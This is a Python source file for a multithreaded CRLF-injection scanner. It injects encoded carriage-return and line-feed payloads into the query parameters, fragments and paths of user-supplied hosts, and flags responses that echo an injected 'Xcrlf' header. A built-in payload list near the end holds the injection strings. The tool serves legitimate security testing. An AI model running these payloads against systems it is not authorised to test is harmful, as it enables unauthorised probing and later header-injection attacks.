crlf.py

#!/usr/bin/python3.5

# I don't believe in license.
# You can do whatever you want with this program.

import os
import sys
import re
import time
import copy
import random
import argparse
import requests
import urllib.parse
from functools import partial
from threading import Thread
from queue import Queue
from multiprocessing.dummy import Pool
from colored import fg, bg, attr

MAX_EXCEPTION = 3
MAX_VULNERABLE = 5

# disable "InsecureRequestWarning: Unverified HTTPS request is being made."
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def banner():
	print("""
                                 _  __                   
                        ___ _ __| |/ _|      _ __  _   _ 
                       / __| '__| | |_      | '_ \| | | |
                      | (__| |  | |  _|  _  | |_) | |_| |
                       \___|_|  |_|_|   (_) | .__/ \__, |
                                            |_|    |___/ 

                                by @gwendallecoguic

""")
	pass

banner()



def rebuiltQuery( t_params ):
    query = ''
    for pname,t_values in t_params.items():
        for k in range(len(t_values)):
            query = query + pname+'='+t_values[k] + '&'
    return query.strip('&')


def _parse_qs( query ):
    t_params = {}
    tmptab = query.split('&')

    for param in tmptab:
        t_param = param.split('=')
        pname = t_param[0]
        if not pname in t_params:
            t_params[pname] = []
        pvalue = '' if len(t_param) < 2 else t_param[1]
        t_params[pname].append( pvalue )
    
    return t_params


def testParams( t_urlparse, payload ):
    # t_params = urllib.parse.parse_qs( t_urlparse.query )
    t_params = _parse_qs( t_urlparse.query )

    for pname,t_values in t_params.items():
        for k in range(len(t_values)):
            pvalue = t_values[k]
            t_params2 = copy.deepcopy(t_params)
            if pvalue == '':
                pvalue = 666
            new_value = str(pvalue) + payload
            # t_params2[pname][k] = urllib.parse.quote( new_value )
            t_params2[pname][k] = new_value
            new_query = rebuiltQuery( t_params2 )
            t_urlparse = t_urlparse._replace(query=new_query)
            url = urllib.parse.urlunparse(t_urlparse)
            doTest( url )
            # disable get/post swap
            # t_urlparse = t_urlparse._replace(query='')
            # url = urllib.parse.urlunparse(t_urlparse)
            # doTest( url, 'POST', t_params2 )


def testFragment( t_urlparse, payload ):
    # new_value = t_urlparse.fragment + urllib.parse.quote(payload)
    new_value = t_urlparse.fragment + payload
    t_urlparse = t_urlparse._replace(fragment=new_value)
    url = urllib.parse.urlunparse(t_urlparse)
    doTest( url )


def testPath( t_urlparse, payload ):
    path = ''
    t_path = ['/'] + t_urlparse.path.split('/')
    
    for dir in t_path:
        if len(dir):
            path = path + '/' + dir
            path = path.replace('//','/')
            # new_value = os.path.dirname(t_urlparse.path) + '/' + urllib.parse.quote(payload)
            # new_value = path + '/' + urllib.parse.quote(payload)
            new_value = path + '/' + payload
            new_value = new_value.replace('//','/')
            t_urlparse = t_urlparse._replace(path=new_value)
            url = urllib.parse.urlunparse(t_urlparse)
            doTest( url )


def testPayload( url, payload ):
    t_urlparse = urllib.parse.urlparse( url )

    if len(t_urlparse.query):
        testParams( t_urlparse, payload.strip('/') )

    if len(t_urlparse.fragment):
        testFragment( t_urlparse, payload.strip('/') )

    testPath( t_urlparse, payload )


def testURL( url ):
    time.sleep( 0.01 )

    if _verbose <= 1:
        sys.stdout.write( 'progress: %d/%d\r' %  (t_multiproc['n_current'],t_multiproc['n_total']) )
        t_multiproc['n_current'] = t_multiproc['n_current'] + 1

    pool = Pool( 10 )
    pool.map( partial(testPayload,url), t_payloads )
    pool.close()
    pool.join()


def doTest( url, method='GET', post_params='' ):
    t_urlparse = urllib.parse.urlparse(url)
    u = t_urlparse.scheme + '_' + t_urlparse.netloc
    
    if not u in t_exceptions:
        t_exceptions[u] = 0
    if t_exceptions[u] >= MAX_EXCEPTION:
        if _verbose >= 3:
            print("skip too many exceptions %s" % t_urlparse.netloc)
        return
    
    if not u in t_vulnerable:
        t_vulnerable[u] = 0
    if t_vulnerable[u] >= MAX_VULNERABLE:
        if _verbose >= 3:
            print("skip already vulnerable %s" % t_urlparse.netloc)
        return

    try:
        if method == 'POST':
            r = requests.post( url, data=post_params, headers=t_custom_headers, timeout=5, verify=False )
        else:
            r = requests.head( url, headers=t_custom_headers, timeout=5, verify=False )
    except Exception as e:
        t_exceptions[u] = t_exceptions[u] + 1
        if _verbose >= 3:
            sys.stdout.write( "%s[-] error occurred: %s%s\n" % (fg('red'),e,attr(0)) )
        return

    if 'Content-Type' in r.headers:
        content_type = r.headers['Content-Type']
    else:
        content_type = '-'
    
    t_headers = list( map( str.lower,r.headers.keys() ) )
    if 'xcrlf' in t_headers:
        vuln = 'VULNERABLE'
    else:
        vuln = '-'
    
    if vuln == 'VULNERABLE':
        t_vulnerable[u] = t_vulnerable[u] + 1

    # output = '%sC=%d\t\tT=%s\t\tV=%s\n' %  (url.ljust(t_multiproc['u_max_length']),r.status_code,content_type,vuln)
    output = '%s\t\tC=%d\t\tT=%s\t\tV=%s\n' %  (url,r.status_code,content_type,vuln)

    fp = open( t_multiproc['f_output'], 'a+' )
    fp.write( output )
    fp.close()

    if _verbose >= 2 or (_verbose >= 1 and vuln == 'VULNERABLE'):
        if vuln == 'VULNERABLE':
            sys.stdout.write( '%s%s%s' % (fg('light_red'),output,attr(0)) )
        else:
            sys.stdout.write( output )


# old version
# def testURL( url ):
#     time.sleep( 0.01 )

#     if _verbose <= 1:
#         sys.stdout.write( 'progress: %d/%d\r' %  (t_multiproc['n_current'],t_multiproc['n_total']) )
#         t_multiproc['n_current'] = t_multiproc['n_current'] + 1

#     t_urlparse = urlparse(url)
#     u = t_urlparse.scheme + '_' + t_urlparse.netloc
    
#     if not u in t_exceptions:
#         t_exceptions[u] = 0
#     if t_exceptions[u] >= MAX_EXCEPTION:
#         if _verbose >= 3:
#             print("skip too many exceptions %s" % t_urlparse.netloc)
#         return
    
#     if not u in t_vulnerable:
#         t_vulnerable[u] = 0
#     if t_vulnerable[u] >= MAX_VULNERABLE:
#         if _verbose >= 3:
#             print("skip already vulnerable %s" % t_urlparse.netloc)
#         return

#     try:
#         r = requests.head( url, timeout=5, verify=False )
#     except Exception as e:
#         t_exceptions[u] = t_exceptions[u] + 1
#         if _verbose >= 3:
#             sys.stdout.write( "%s[-] error occurred: %s%s\n" % (fg('red'),e,attr(0)) )
#         return

#     if 'Content-Type' in r.headers:
#         content_type = r.headers['Content-Type']
#     else:
#         content_type = '-'
    
#     t_headers = list( map( str.lower,r.headers.keys() ) )
#     if 'xcrlf' in t_headers:
#         vuln = 'VULNERABLE'
#     else:
#         vuln = '-'
    
#     if vuln == 'VULNERABLE':
#         t_vulnerable[u] = t_vulnerable[u] + 1

#     output = '%sC=%d\t\tT=%s\t\tV=%s\n' %  (url.ljust(t_multiproc['u_max_length']),r.status_code,content_type,vuln)

#     fp = open( t_multiproc['f_output'], 'a+' )
#     fp.write( output )
#     fp.close()

#     if _verbose >= 2 or (_verbose >= 1 and vuln == 'VULNERABLE'):
#         sys.stdout.write( '%s' % output )


parser = argparse.ArgumentParser()
parser.add_argument( "-a","--path",help="set paths list" )
parser.add_argument( "-d","--header",help="custom headers, example: cookie1=value1;cookie2=value2...", action="append" )
parser.add_argument( "-p","--payloads",help="set payloads list" )
parser.add_argument( "-o","--hosts",help="set host list (required or -u)" )
# parser.add_argument( "-r","--redirect",help="follow redirection" )
parser.add_argument( "-s","--scheme",help="scheme to use, default=http,https" )
parser.add_argument( "-t","--threads",help="threads, default 10" )
parser.add_argument( "-u","--urls",help="set url list (required or -o)" )
parser.add_argument( "-v","--verbose",help="display output, 0=nothing, 1=only vulnerable, 2=all requests, 3=full debug, default: 1" )
parser.parse_args()
args = parser.parse_args()

if args.scheme:
    t_scheme = args.scheme.split(',')
else:
    t_scheme = ['http','https']

t_custom_headers = {}
if args.header:
    for header in args.header:
        if ':' in header:
            tmp = header.split(':')
            t_custom_headers[ tmp[0].strip() ] = tmp[1].strip()

t_hosts = []
if args.hosts:
    if os.path.isfile(args.hosts):
        fp = open( args.hosts, 'r' )
        t_hosts = fp.read().strip().split("\n")
        fp.close()
    else:
        t_hosts.append( args.hosts )
n_hosts = len(t_hosts)
sys.stdout.write( '%s[+] %d hosts found: %s%s\n' % (fg('green'),n_hosts,args.hosts,attr(0)) )

t_urls = []
if args.urls:
    if os.path.isfile(args.urls):
        fp = open( args.urls, 'r' )
        t_urls = fp.read().strip().split("\n")
        fp.close()
    else:
        t_urls.append( args.urls )
n_urls = len(t_urls)
sys.stdout.write( '%s[+] %d urls found: %s%s\n' % (fg('green'),n_urls,args.urls,attr(0)) )

if n_hosts == 0 and n_urls == 0:
    parser.error( 'hosts/urls list missing' )

t_path = [ '' ]
if args.path:
    if os.path.isfile(args.path):
        fp = open( args.path, 'r' )
        t_path = fp.read().strip().split("\n")
        fp.close()
    else:
        t_path.append( args.path )
n_path = len(t_path)
sys.stdout.write( '%s[+] %d path found: %s%s\n' % (fg('green'),n_path,args.path,attr(0)) )

if args.payloads:
    t_payloads = []
    if os.path.isfile(args.payloads):
        fp = open( args.payloads, 'r' )
        t_payloads = fp.read().strip().split("\n")
        fp.close()
    else:
        t_payloads.append( args.payloads )
    n_payloads = len(t_payloads)
    sys.stdout.write( '%s[+] %d payloads found: %s%s\n' % (fg('green'),n_payloads,args.payloads,attr(0)) )
else:
    n_payloads = 0

if args.verbose:
    _verbose = int(args.verbose)
else:
    _verbose = 1

if args.threads:
    _threads = int(args.threads)
else:
    _threads = 10

t_totest = []
u_max_length = 0
d_output =  os.getcwd()+'/crlf'
f_output = d_output + '/' + 'output'
if not os.path.isdir(d_output):
    try:
        os.makedirs( d_output )
    except Exception as e:
        sys.stdout.write( "%s[-] error occurred: %s%s\n" % (fg('red'),e,attr(0)) )
        exit()

sys.stdout.write( '%s[+] options are -> threads:%d, verbose:%d%s\n' % (fg('green'),_threads,_verbose,attr(0)) )
sys.stdout.write( '[+] computing host and payload list...\n' )


# source: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection
if not n_payloads:
    t_payloads = [
        '/%0dXcrlf%3a1',
        '/%0aXcrlf%3a1',
        '/%0d%0aXcrlf%3a1',
        '/?%0dXcrlf%3acrlf=1',
        '/%3F%0aXcrlf%3acrlf=1',
        '/%0aXcrlf%3a1/..',
        '/%23%0dXcrlf:1',
        '/%23%0aXcrlf:1',
        '/%23%0d%0aXcrlf:1',
        '/xxx%0dXcrlf:1',
        '/xxx%0aXcrlf:1',
        '/xxx%0d%0aXcrlf:1',
        '//xxx%0dXcrlf:1;',
        '//xxx%0aXcrlf:1;',
        '//xxx%0d%0aXcrlf:1;',
        '/xxx/x%23%0dXcrlf:1',
        '/xxx/x%3F%0dXcrlf:1',
        '/v1/xx%20xx%0d%0aXcrlf:1',
        '/api/v1/see%20below%0d%0aXcrlf:1',
        '/%E5%98%8a%E5%98%8dXcrlf:1',
        '/~bin/%0d%0aXcrlf:1',
    ]


for scheme in t_scheme:
    for host in t_hosts:
        for path in t_path:
            u = scheme + '://' + host.strip() + path
            t_totest.append( u )
            l = len(u)
            if l > u_max_length:
                u_max_length = l

for url in t_urls:
    for path in t_path:
        u = url.strip() + path
        t_totest.append( u )
        l = len(u)
        if l > u_max_length:
            u_max_length = l

# old version
# for scheme in t_scheme:
#     for host in t_hosts:
#         for payload in t_payloads:
#             for path in t_path:
#                 u = scheme + '://' + host.strip() + path + payload
#                 t_totest.append( u )
#                 l = len(u)
#                 if l > u_max_length:
#                     u_max_length = l

# for url in t_urls:
#     for payload in t_payloads:
#         for path in t_path:
#             u = url.strip() + path + payload
#             t_totest.append( u )
#             l = len(u)
#             if l > u_max_length:
#                 u_max_length = l

n_totest = len(t_totest)
sys.stdout.write( '%s[+] %d urls created.%s\n' % (fg('green'),n_totest,attr(0)) )
sys.stdout.write( '[+] testing...\n' )


random.shuffle(t_totest)
# print("\n".join(t_totest))
# exit()

t_exceptions = {}
t_vulnerable = {}
t_multiproc = {
    'n_current': 0,
    'n_total': n_totest,
    'u_max_length': u_max_length+5,
    'd_output': d_output,
    'f_output': f_output,
}

def doWork():
    while True:
        url = q.get()
        testURL( url )
        q.task_done()

q = Queue( _threads*2 )

for i in range(_threads):
    t = Thread( target=doWork )
    t.daemon = True
    t.start()

try:
    for url in t_totest:
        q.put( url )
    q.join()
except KeyboardInterrupt:
    sys.exit(1)